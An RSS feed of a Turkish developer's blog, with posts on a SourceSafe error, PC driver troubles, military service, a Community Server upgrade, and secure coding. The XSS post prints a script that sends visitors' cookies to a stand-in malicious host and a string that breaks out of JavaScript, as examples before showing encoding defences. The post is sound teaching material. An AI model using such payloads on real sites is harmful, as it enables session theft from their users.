<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://selcukyavuz.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Selçuk Yavuz</title><link>http://selcukyavuz.net/default.aspx</link><description /><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>The SourceSafe Web Service cannot be accessed at the specified address </title><link>http://selcukyavuz.net/archive/2008/07/26/the-sourcesafe-web-service-cannot-be-accessed-at-the-specified-address.aspx</link><pubDate>Sat, 26 Jul 2008 22:34:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:171</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=171</wfw:commentRss><comments>http://selcukyavuz.net/archive/2008/07/26/the-sourcesafe-web-service-cannot-be-accessed-at-the-specified-address.aspx#comments</comments><description>&lt;P mce_keep="true"&gt;&lt;FONT face=arial,helvetica,sans-serif size=2&gt;Visual Studio 2008&amp;nbsp;ve Visual Source Safe 2005 ikilisini kullananların projelerine internet üzerinden ulaşmaya çalışırken "&lt;EM&gt;&lt;STRONG&gt;The SourceSafe Web Service cannot be accessed at the specified address&lt;/STRONG&gt;&lt;/EM&gt;" şeklinde bir hata alabilirler. Bunun iki sebebi olabilir.&lt;/FONT&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&lt;FONT face=Arial size=2&gt;1. Server tarafındaki VSS 2005 in kullandığı Web Servis düzgün çalışmıyordur. &lt;A href="http://server/Soursafe/VssService.asmx" mce_href="http://server/Soursafe/VssService.asmx"&gt;http://server/Soursafe/VssService.asmx&lt;/A&gt; in doğru çalıştığını teyit edin. &lt;/FONT&gt;&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&lt;FONT face=Arial size=2&gt;a. IIS e girip SorceSafe sanal dizinin ASP.NET 2.0 versiyonu ile çalıştığından emin olun.&lt;/FONT&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&lt;FONT face=Arial size=2&gt;b. "&lt;EM&gt;&lt;STRONG&gt;Request format is unrecognized&lt;/STRONG&gt;&lt;/EM&gt;" şeklinde bir hata alıyorsanız. &lt;A href="http://support.microsoft.com/default.aspx?scid=kb;en-us;819267" mce_href="http://support.microsoft.com/default.aspx?scid=kb;en-us;819267"&gt;http://support.microsoft.com/default.aspx?scid=kb;en-us;819267&lt;/A&gt;&amp;nbsp;adresidneki KB yi uygulayın.&lt;/FONT&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&lt;FONT face=Arial size=2&gt;2. Serverdaki Web Service doğru çalışıyorsa ve SSL kullanmıyorsanızsanız. Visual Studio 2008 de&lt;/FONT&gt;&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&lt;FONT face=Arial size=2&gt;a. Tools-&amp;gt;Options-&amp;gt;Source Control-&amp;gt;Plug-In Settings&lt;BR&gt;b. Advanced butonuna tıklayın.&lt;BR&gt;c&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;. "use SSL" checkbox'ını kaldırın.&lt;/FONT&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=171" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/Visual_5F00_Source_5F00_Safe/default.aspx">Visual_Source_Safe</category><category domain="http://selcukyavuz.net/archive/tags/Visual_5F00_Studio/default.aspx">Visual_Studio</category><category domain="http://selcukyavuz.net/archive/tags/Web_5F00_Services/default.aspx">Web_Services</category></item><item><title>Nerde Kalmıştık ?</title><link>http://selcukyavuz.net/archive/2008/07/11/nerde-kalm-t-k.aspx</link><pubDate>Fri, 11 Jul 2008 20:42:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:167</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=167</wfw:commentRss><comments>http://selcukyavuz.net/archive/2008/07/11/nerde-kalm-t-k.aspx#comments</comments><description>&lt;P mce_keep="true"&gt;Vaktiyle blog'uma askere gidiyorum diye bir post girip bırakmıştım.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Saolsun bir çok eş-dost-tanıdık iyi dileklerini yazmışlar yorum kısmına. Hepsine teker teker cevap yazamadım. Buda toptan teşekkür olsun. Var olun. Bu mesajlarını oldukça moral verdi bana.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Şükür kazasız belasız bitirdik geldik.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Şimdi -geri- kaldığım yerden tekrar başlıyorum herşeye.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&lt;A class="" href="http://h10025.www1.hp.com/ewfrf/wc/product?cc=us&amp;amp;dlc=en&amp;amp;product=3307087&amp;amp;lc=en&amp;amp;jumpid=reg_R1002_USEN" target=_blank mce_href="http://h10025.www1.hp.com/ewfrf/wc/product?cc=us&amp;amp;dlc=en&amp;amp;product=3307087&amp;amp;lc=en&amp;amp;jumpid=reg_R1002_USEN"&gt;HP Pavilion Media Center TV m7645.tr Desktop PC&lt;/A&gt;&amp;nbsp;almıştım. Sistemi tekrar yüklemem gerekti. Lakin ürünün yanında alışık olduğumuz gibi işletim sistemi ve sürücülerin bulunduğu bir CD çıkmadı. Benim parasını ödediğim 250 GB lik HDD'in 7 GB'lik bir bölümünü recovery için ayırmış. Windows XP, 2003, Vista gibi işletim sistemleri ile içindeki dosyalara ulaşamadım. Bir sanal makine kurup linux ile ulaştım ancak, bu bölüm içindeki dosyalar farklı bir formatta. &lt;/P&gt;
&lt;P mce_keep="true"&gt;Windows XP kurayım dedim. Kuruluş aşamasında mavi ekran gördüm. Sonradan farkettim HDD Raid olarak tanıtılmış. BIOS tan IDE olarak değiştirip kurulumu tamamladım. Maşallah Windows XP kurulumu bittiğinde hiçbir donanım ototmatik olarak tanındamı.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Güç bela &lt;A class="" href="http://h10025.www1.hp.com/ewfrf/wc/softwareCategory?lc=en&amp;amp;cc=us&amp;amp;product=3307087&amp;amp;dlc=en&amp;amp;" target=_blank mce_href="http://h10025.www1.hp.com/ewfrf/wc/softwareCategory?lc=en&amp;amp;cc=us&amp;amp;product=3307087&amp;amp;dlc=en&amp;amp;"&gt;sürücülerini&lt;/A&gt; bulup. Kurdum. Sorun peşimi bırakırmı ? &lt;A class=udrline href="http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=pv-42543-1&amp;amp;lc=en&amp;amp;cc=us&amp;amp;os=228&amp;amp;product=3307087&amp;amp;dlc=en"&gt;&lt;FONT color=#003366&gt;Fall 2006 Original HP Multimedia Keyboard/Mouse Drivers&lt;/FONT&gt;&lt;/A&gt; için .net Framework 1.0 yada üstü gerekli idi. Bir sürücü .net Framework'ü kurdurtmanın ne alemi vardı ? Bu seferde ses kartı sürücüsü &lt;A class=udrline href="http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=pv-42532-1&amp;amp;lc=en&amp;amp;cc=us&amp;amp;os=228&amp;amp;product=3307087&amp;amp;dlc=en"&gt;&lt;FONT color=#003366&gt;Fall 2006 Original Realtek High Definition Audio Drivers&lt;/FONT&gt;&lt;/A&gt;&amp;nbsp; için "&lt;A class="" href="http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-47284-1&amp;amp;lc=en&amp;amp;cc=us&amp;amp;product=1842155&amp;amp;os=228&amp;amp;dlc=en" mce_href="http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-47284-1&amp;amp;lc=en&amp;amp;cc=us&amp;amp;product=1842155&amp;amp;os=228&amp;amp;dlc=en"&gt;Microsoft Universal Audio Architecture (UAA) Bus Driver for High Definition Audio&lt;/A&gt;" nun gerekli olduğu uyarısını aldım. &amp;nbsp;Neyseki onuda HP nin sitesinden bulup tamam ettim.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Yalnız &lt;U&gt;&lt;FONT color=#003366&gt;Motherboard BIOS Update&lt;/FONT&gt;&lt;/U&gt;&amp;nbsp;i çalıştırınca kurulumdan evvel BIOS ta yaptığım RAID -&amp;gt; IDE değişikliği eski haline geliyor ve PC açılmıyor. Bu yüzden BIOS güncellemesinden sonra BIOS a girip tekrar IDE ye çevirmek gerekiyor.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;Bu ürünü almayın demiyeceğim zaten HP artık bu ürünü üretmiyormuş :)&lt;/P&gt;
&lt;P mce_keep="true"&gt;***&lt;/P&gt;
&lt;P mce_keep="true"&gt;Ehternet kartım tanıtılmadığı için sürücüleri bir internet kafeden indirmek zorunda kaldım. "Cengiz Abi USB leri neden kapattın ?" diye sordum. "Ben saatlerimi vereyim internetten film, mp3 indireyim, adam gelsin benim emeğimi bir dakka da alsın, varmı öyle yağma" dedi. "Şimdi senin internetten indirdiğim filmin, mp3'ün yapımcılarının hakkı ne olacak ?" diye soracak oldum. Mevzu ne onun anlayabileceği nede benm anlayabileceğim bir yere uzar diye düşünüp "Sen süpermarketi kapatalı ne kadar oldu ? Çayın tazeyse getir içelim." deyip esnaf muhabbetine döndürdüm.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Hesabı öderken mermer masada hala "Cengiz Gıda" yazıyordu..&amp;nbsp;&lt;/P&gt;
&lt;P mce_keep="true"&gt;***&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;Tabii Cengiz Abi 8 yıl önce, İnternet Kafelerin&amp;nbsp;değerlendirildiği bir Hakkı Öcal yazısına konu olduğunu hala bilmiyor.&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=167" width="1" height="1"&gt;</description></item><item><title>Herşey Vatan İçin</title><link>http://selcukyavuz.net/archive/2007/05/21/her-ey-vatan-231-in.aspx</link><pubDate>Mon, 21 May 2007 10:56:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:94</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>43</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=94</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/21/her-ey-vatan-231-in.aspx#comments</comments><description>&lt;P mce_keep="true"&gt;&lt;A href="http://selcukyavuz.net/images/selcukyavuz/Bayrak_600x400.jpg" mce_href="http://selcukyavuz.net/images/selcukyavuz/Bayrak_600x400.jpg"&gt;&lt;IMG src="http://selcukyavuz.net/images/selcukyavuz/Bayrak_600x400.jpg" border=0 mce_src="http://selcukyavuz.net/images/selcukyavuz/Bayrak_600x400.jpg"&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;23 Mayıs 2007 tarihinde vatani görevimi yerine getirmek üzere Bilecik 2nci Jandarma Er Eğitim Tugay Komutanlığı'na teslim olacağım.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;A href="http://selcukyavuz.net/images/selcukyavuz/Bayragim.jpg" mce_href="http://selcukyavuz.net/images/selcukyavuz/Bayragim.jpg"&gt;&lt;/A&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=94" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/Ki_5F01_isel/default.aspx">Kişisel</category></item><item><title>Community Server 2007</title><link>http://selcukyavuz.net/archive/2007/05/18/community-server-2007.aspx</link><pubDate>Sat, 19 May 2007 04:58:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:81</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=81</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/18/community-server-2007.aspx#comments</comments><description>&lt;P mce_keep="true"&gt;Sonunda sitenin yazılımını yeni sürüme yükselttim. &lt;/P&gt;
&lt;P mce_keep="true"&gt;Artık sitenin alt yapısında Community Server 2007 çalışıyor. &lt;/P&gt;
&lt;P mce_keep="true"&gt;Tabii ki Upgrade ve SP1 i kurma sırasında malum&amp;nbsp;&lt;A class="" href="http://selcukyavuz.net/archive/2007/02/25/18.aspx" mce_href="http://selcukyavuz.net/archive/2007/02/25/18.aspx"&gt;Community Server Kurulum Hataları&lt;/A&gt;&amp;nbsp;ile karşılaştım. &lt;/P&gt;
&lt;P mce_keep="true"&gt;Birileri Telligent firmasına &lt;A class="" href="http://www.google.com.tr/search?source=ig&amp;amp;hl=tr&amp;amp;q=%22Turkish+I+problem%22&amp;amp;meta=" mce_href="http://www.google.com.tr/search?source=ig&amp;amp;hl=tr&amp;amp;q=%22Turkish+I+problem%22&amp;amp;meta="&gt;Turkish I Problem&lt;/A&gt;'in varlığından haberdar etsin &lt;img src="http://selcukyavuz.net/emoticons/emotion-1.gif" alt="Smile" /&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;Dikkatimi çeken ve hoşuma giden özelliklerinden birisi Thema'ların üzerinde rahatlıkla kişiselleştirme yapabiliyorsunuz.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Ve daha da hoşuma giden şey ise tek blog hesabı ayarının dahada basitleşmiş olması. &lt;/P&gt;
&lt;P mce_keep="true"&gt;&lt;A class="" href="http://docs.communityserver.org/kb/article.aspx/243/how-can-i-configure-community-server-for-a-single-user-blog/" mce_href="http://docs.communityserver.org/kb/article.aspx/243/how-can-i-configure-community-server-for-a-single-user-blog/"&gt;How can I configure Community Server for a Single User Blog?&lt;/A&gt;&amp;nbsp;linke tıklayın&lt;/P&gt;
&lt;P mce_keep="true"&gt;İndirdiğimiz zip dosyasından iki adet config dosyası çıkıyor.&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;DIV mce_keep="true"&gt;communityserver_override.config&lt;/DIV&gt;
&lt;LI&gt;
&lt;DIV mce_keep="true"&gt;siteurls_override.config&lt;/DIV&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P mce_keep="true"&gt;Yani artık config dosyaları içerisinde kaybolmayacağız.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Bu dosyaları sitemizin ana dizinine kopyaladıktan sonra communityserver_override.config dosyası içinde ufak bir değişiklik yapmamız yeterli.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&lt;FONT color=#0000ff size=2&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;Override&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;xpath&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; = &lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;/CommunityServer/Weblog&lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;mode&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; = &lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;new&lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;name&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; = &lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;defaultApplicationKey&lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;value&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; = &lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;BLOG_HESAP_ISMI_BURAYA&lt;/FONT&gt;&lt;FONT size=2&gt;"&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt; /&amp;gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P mce_keep="true"&gt;Bu kadar.&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=81" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/Community_5F00_Server/default.aspx">Community_Server</category></item><item><title>Cross Site Scripting  (XSS)</title><link>http://selcukyavuz.net/archive/2007/05/18/cross-site-scripting-xss.aspx</link><pubDate>Fri, 18 May 2007 09:28:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:66</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=66</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/18/cross-site-scripting-xss.aspx#comments</comments><description>&lt;P&gt;Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir. &lt;/P&gt;
&lt;P&gt;Örneğin bir ziyaretçi defteri doldururken mesaj kısmına&lt;/P&gt;&lt;PRE class=coloredcode&gt;&amp;lt;&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt; location.href= ‘http://www.google.com’;&amp;lt;/&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt;&lt;/PRE&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir. &lt;/P&gt;
&lt;P&gt;Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir. &lt;/P&gt;&lt;PRE class=coloredcode&gt;&amp;lt;&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt;
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
&amp;lt;/&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt;&lt;/PRE&gt;
&lt;P&gt;Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.&lt;/P&gt;
&lt;P&gt;ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “&amp;lt;” ve “&amp;gt;” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir. &lt;/P&gt;
&lt;P&gt;Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.&amp;nbsp; &lt;/P&gt;
&lt;P&gt;Bu da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor.&amp;nbsp; Bu da XSS saldırıları için bir davet anlamına gelir.&lt;/P&gt;
&lt;P&gt;Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.&lt;/P&gt;
&lt;P&gt;Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.&lt;/P&gt;
&lt;P&gt;Javascript için basit bir örnek verelim.&lt;/P&gt;
&lt;P&gt;Default.aspx dosyamızda bulunan Javascript : &lt;/P&gt;&lt;PRE class=coloredcode&gt;&amp;lt;&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&lt;SPAN class=attr&gt; type=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"text/javascript"&lt;/SPAN&gt; &amp;gt;
        alert(&lt;SPAN class=attr&gt;'Merhaba’&lt;/SPAN&gt; + &lt;SPAN class=attr&gt;‘&amp;lt;asp:Literal runat="server" id="ltAd" /&amp;gt;'&lt;/SPAN&gt;);
&amp;lt;/&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt; 
&lt;/PRE&gt;
&lt;P&gt;Default.aspx.cs dosyasından gönderilen bilgi : &lt;/P&gt;&lt;PRE class=coloredcode&gt;ltAd.Text = &lt;SPAN class=st&gt;"Selçuk"&lt;/SPAN&gt;;&lt;/PRE&gt;
&lt;P&gt;Sayfa çalıştırıldığında “Merhaba Selçuk” şeklinde bir MessageBox çıkıyor.&lt;/P&gt;
&lt;P&gt;“Selçuk” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa : &lt;/P&gt;&lt;PRE class=coloredcode&gt;ltAd.Text = &lt;SPAN class=st&gt;" ' location.href='http://www.google.com'; alert('a";&lt;/SPAN&gt;&lt;/PRE&gt;
&lt;P&gt;Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim : &lt;/P&gt;&lt;PRE class=coloredcode&gt;&amp;lt;&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&lt;SPAN class=attr&gt; type=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"text/javascript"&lt;/SPAN&gt; &amp;gt;
alert(&lt;SPAN class=attr&gt;'Merhaba '&lt;/SPAN&gt;); location.href=&lt;SPAN class=attr&gt;'http://www.google.com'&lt;/SPAN&gt;; alert(&lt;SPAN class=attr&gt;'a'&lt;/SPAN&gt;);
&amp;lt;/&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt;
&lt;/PRE&gt;
&lt;P&gt;Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur. &lt;/P&gt;
&lt;P&gt;Bu konuda örnekler çoğaltılabilir. Biz şimdi alacağımız önlemlere geçelim. &lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız. &lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;amp;displaylang=en" mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;amp;displaylang=en"&gt;http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;amp;displaylang=en&lt;/A&gt; adresinden temin edebileceğiniz AntiXSSLibrary.dll i projemize dahil ediyoruz.&lt;/P&gt;
&lt;P&gt;Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz. &lt;/P&gt;
&lt;P&gt;Bu metotlar : &lt;/P&gt;
&lt;P&gt;•&amp;nbsp;HtmlEncode&lt;BR&gt;•&amp;nbsp;HtmlAttributeEncode&lt;BR&gt;•&amp;nbsp;JavaScriptEncode&lt;BR&gt;•&amp;nbsp;UrlEncode&lt;BR&gt;•&amp;nbsp;VisualBasicScriptEncode&lt;BR&gt;•&amp;nbsp;XmlEncode&lt;BR&gt;•&amp;nbsp;XmlAttributeEncode&lt;/P&gt;
&lt;P&gt;Yukarıda verdiğimiz örneklerden Javascript için &lt;/P&gt;&lt;PRE class=coloredcode&gt;ltAd.Text = &lt;SPAN class=st&gt;"');  location.href='http://www.google.com'; alert('a"&lt;/SPAN&gt;);&lt;/PRE&gt;
&lt;P&gt;yerine &lt;/P&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;using&lt;/SPAN&gt; Microsoft.Security.Application.AntiXss;

...

ltAd.Text = 
JavaScriptEncode(&lt;SPAN class=st&gt;"'); location.href='http://www.google.com'; alert('a"&lt;/SPAN&gt;);&lt;/PRE&gt;
&lt;P&gt;Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.&lt;/P&gt;
&lt;P&gt;Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :&lt;/P&gt;&lt;PRE class=coloredcode&gt;&amp;lt;&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&lt;SPAN class=attr&gt; type=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"text/javascript"&lt;/SPAN&gt; &amp;gt;
        alert(&lt;SPAN class=attr&gt;'Merhaba '\x27\x29\x3b &lt;BR&gt;        location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b &lt;BR&gt;        alert\x28\x27a'&lt;/SPAN&gt;);
&amp;lt;/&lt;SPAN class=tag&gt;script&lt;/SPAN&gt;&amp;gt;&lt;/PRE&gt;
&lt;P&gt;Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.&lt;/P&gt;
&lt;P&gt;Örneğin &lt;/P&gt;&lt;PRE class=coloredcode&gt;ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode(&lt;SPAN class=st&gt;"Selçuk"&lt;/SPAN&gt;);&lt;/PRE&gt;
&lt;P&gt;Şeklinde bir kullanımda ekranda “Selçuk” yazar ancak kaynak kodunda “ç” karakteri&amp;nbsp; \u00e7 olarak kodlanmıştır.&lt;/P&gt;
&lt;P&gt;Bunun sebebi ise AntiXSS kütüphanesinin belli başlı karakterleri encode eder.&amp;nbsp; Bunlar büyüktür “&amp;lt;” , küçüktür “&amp;gt;” , ampersand “&amp;amp;” ,&amp;nbsp; çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir. &lt;/P&gt;
&lt;P&gt;“ç”&amp;nbsp; harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır. &lt;/P&gt;
&lt;P&gt;&lt;BR&gt;* What You See What You Get&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=66" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/ASP.NET/default.aspx">ASP.NET</category><category domain="http://selcukyavuz.net/archive/tags/Security/default.aspx">Security</category></item><item><title>Malicious File Execution</title><link>http://selcukyavuz.net/archive/2007/05/18/malicious-file-execution.aspx</link><pubDate>Fri, 18 May 2007 09:27:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:64</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>6</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=64</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/18/malicious-file-execution.aspx#comments</comments><description>&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Kötü Niyetli Dosya Çalıştırma&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt" mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Web uygulamanıza FileUpload ile dosya yüklemesi yapmak durumunda iseniz gelen dosyanın türünü mutlaka denetlemek gerekir. Örneğin bir Forum uygulaması yaptınız ve kullanıcılar kendi resimlerini resimler klasörüne upload edebilmekteler. Saldırgan hazırlamış olduğu bir asp sayfasını resimler klasörüne upload eder ve &lt;FONT color=#000000&gt;www.siteniz.com/resimler/foo.asp&lt;/FONT&gt; şeklinde tam yolu yazarak dışardan göndermiş olduğu bir dosyayı sisteminizde çalıştırabilir. &lt;/P&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt; 
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Bu şekilde sisteminizin izin verdiği ölçüde yeni dosyalar oluşturabilir. Örneğin anadizinde ki default.aspx dosyasını silip yerine bir default.asp dosyası oluşturabilir. Böylece siteniz açıldığında “hacked by hacker ana” yazısı ile karşılaşabilirsiniz.&lt;/P&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt; 
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Böyle üzücü durumların yaşanmaması için sisteminize upload edilen dosyaların türünü denetlemek gerek.&lt;/P&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt; 
